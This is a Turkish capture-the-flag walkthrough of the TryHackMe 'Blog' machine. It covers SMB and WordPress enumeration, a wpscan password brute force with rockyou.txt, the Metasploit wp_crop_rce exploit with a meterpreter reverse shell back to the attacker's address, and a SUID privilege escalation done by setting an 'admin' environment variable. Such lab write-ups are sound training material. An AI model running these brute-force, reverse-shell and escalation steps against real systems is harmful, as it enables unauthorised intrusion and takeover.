5 minutes
THM Blog Write Up
Merhaba, Bu yazımda sizlere Tryhackme’de yer alan orta seviye zorluktaki Blog adlı makinanın çözümünden bahsedeceğim. Keyifli okumalar…
İlk olarak tasarımcı tarafından belirtilen domain adı /etc/hosts dosyasına eklenir.
1. Keşif Aşaması
Nmap ile makinenin açık portları ve portlarda çalışan servisleri tespit edilir.
sudo nmap -sV -sC 10.10.25.92
Samba servisinde anonymous olarak paylaşıma açık olan dizinler kontrol edilir.
─[barcode@parrot]─[~]$ smbclient -L //10.10.25.92
Enter WORKGROUP\barcode's password:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
BillySMB Disk Billy's local SMB Share
IPC$ IPC IPC Service (blog server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
BillySMB klasörü içeriğine bakılır. Paylaşıma açık olan dosyalar get komutu ile indirilir.
─[barcode@parrot]─[~]$ smbclient //10.10.25.92/BillySMB
Enter WORKGROUP\barcode's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue May 26 13:17:05 2020
.. D 0 Tue May 26 12:58:23 2020
Alice-White-Rabbit.jpg N 33378 Tue May 26 13:17:01 2020
tswift.mp4 N 1236733 Tue May 26 13:13:45 2020
check-this.png N 3082 Tue May 26 13:13:43 2020
15413192 blocks of size 1024. 9788764 blocks available
smb: \> get Alice-White-Rabbit.jpg
getting file \Alice-White-Rabbit.jpg of size 33378 as Alice-White-Rabbit.jpg (30.9 KiloBytes/sec) (average 30.9 KiloBytes/sec)
smb: \> get tswift.mp4
getting file \tswift.mp4 of size 1236733 as tswift.mp4 (871.4 KiloBytes/sec) (average 508.1 KiloBytes/sec)
smb: \> get check-this.png
getting file \check-this.png of size 3082 as check-this.png (9.9 KiloBytes/sec) (average 453.0 KiloBytes/sec)
Alice-White-Rabbit.jpg dosyasında gizli bir mesaj olduğu steghide aracı ile tespit edilir. Daha sonra yine aynı araç ile rabbit_hole.txt dosyası export edilir.
─[barcode@parrot]─[~]$ steghide extract -sf Alice-White-Rabbit.jpg
Enter passphrase:
wrote extracted data to "rabbit_hole.txt".
İçeriğine bakıldığında tuzak olduğu görülmektedir. 😥
─[barcode@parrot]─[~]$ cat rabbit_hole.txt
You've found yourself in a rabbit hole, friend.
Araştırmalara Web servisi üzerinden devam edilir. 80. portta Wordpress uygulaması çalışmaktadır.
Robots.txt dosyası içeriğine bakılır.
Wordpress uygulamalarında kolaylıkla bilgi toplamamızı sağlayan wpscan aracı ile tarama yapılır. Tarama sonucunda dikkat çeken bilgiler aşağıdadır.
wpscan --url http://blog.thm --enumerate
[+] Upload directory has listing enabled: http://blog.thm/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
| Found By: Rss Generator (Passive Detection)
| - http://blog.thm/feed/, <generator>https://wordpress.org/?v=5.0</generator>
| - http://blog.thm/comments/feed/, <generator>https://wordpress.org/?v=5.0</generator>
[i] User(s) Identified:
[+] kwheel
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] bjoel
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
Wordpress sürümü ile ilgili exploit araştırması yapıldığında düşük kullanıcı ile shell upload edilebilcek bir zafiyet tespit edilmektedir.
Exploitin kullanımı için kullanıcı hesap bilgilerine ihtiyaç vardır. Wpscan aracı ile elde edilen hesaplara brute force saldırısı düzenlenir. İşlem soncunda kwhell adlı kullanıcıya ait parola elde edilir.
wpscan --url http://blog.thm -U user.lst -P /usr/share/wordlists/rockyou.txt
Metasploit aracı açılır ve tespit edilen exploit modulü aranır. Seçilen modüle ait ayarlar options komutu görüntülenir.
Not: Metasploit 6 sürümünde exploit işleminden sonra shell almada sıkıntılar olmaktadır.
msfconsole -q
msf5 > search crop-image
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/wp_crop_rce 2019-02-19 excellent Yes WordPress Crop-image Shell Upload
msf5 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf5 exploit(multi/http/wp_crop_rce) > options
Module options (exploit/multi/http/wp_crop_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.2.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress
Exploitin kullanımı için zorunlu parametlere set edilir.
> set password *********
> set username kwheel
> set rhosts 10.10.25.92
> set lhost 10.9.62.67
2. Erişim Sağlanması
Run/Exploit komutu ile meterpreter oturumu elde edilmiş olur.
/home/bjoel dizin içeriği kontrol edildiğinde user.txt dosyası görülmektedir.
İçerik görüntülendiğinde tam bir hayal kırılığıdır. 😭
shell
komutu ile meterpreter oturumdan normal terminal oturumuna geçilir. Sistem genelinde user.txt araması yapıldığında başka dosya bulunamaz. User.txt dosyası yüksek kullanıcı erişimine sahip bir dizin içerisinde yer almaktadır.
3. Yetki Yükseltme
Yetki yükseltmek için suid biti aktif dosyalar tespit edilir.
find / -perm -u=s -type f 2>/dev/null
/usr/sbin/checker uygulaması dikkat çekmektedir. Uygulama çalıştırıldığında Not an Admin hatası vermektedir. Uygulamanın işleyişinin daha iyi anlaşılabilmesi için uygulama home dizinine kopyalanır ve tersine mühendislik araçları ile incelenmek üzere locale indirilir.
Not: Home dizininde
python2 -m SimpleHTTPServer 8000
komutu çalıştılır. İster tarayıcıdan ister curl, wget gibi araçlarla dosya indirilebilir.
Ghridra ile binary analiz edilir. getenv(“parametre”) fonksiyonu parametre aldığı değeri ortam değişkenleri içerisinde arar varsa değerini döndürür. Admin değişkeni varsa uid değeri 0 (root) olarak set edilir ve /bin/bash başlatılır.
Burada admin değeri ortam değişkeninleri içerisinde aranmaktadır. Bypass için export
komutu ile admin değişkeni tanımlanır ve rastgele bir değer atanır.
export admin="test"
/usr/sbin/checker uygulaması çalıştırıldığında root yetkisi ile shell oturumu elde edilir.
/usr/sbin/checker
id
uid=0(root) gid=33(www-data) groups=33(www-data)
Root dizini altında yer alan root.txt okunur.
User.txt için find
komutu ile arama yapıldığında /media/usb/ dizini altında bulunur.
find -name 'user.txt' 2>/dev/null
/home/bjoel/user.txt
/media/usb/user.txt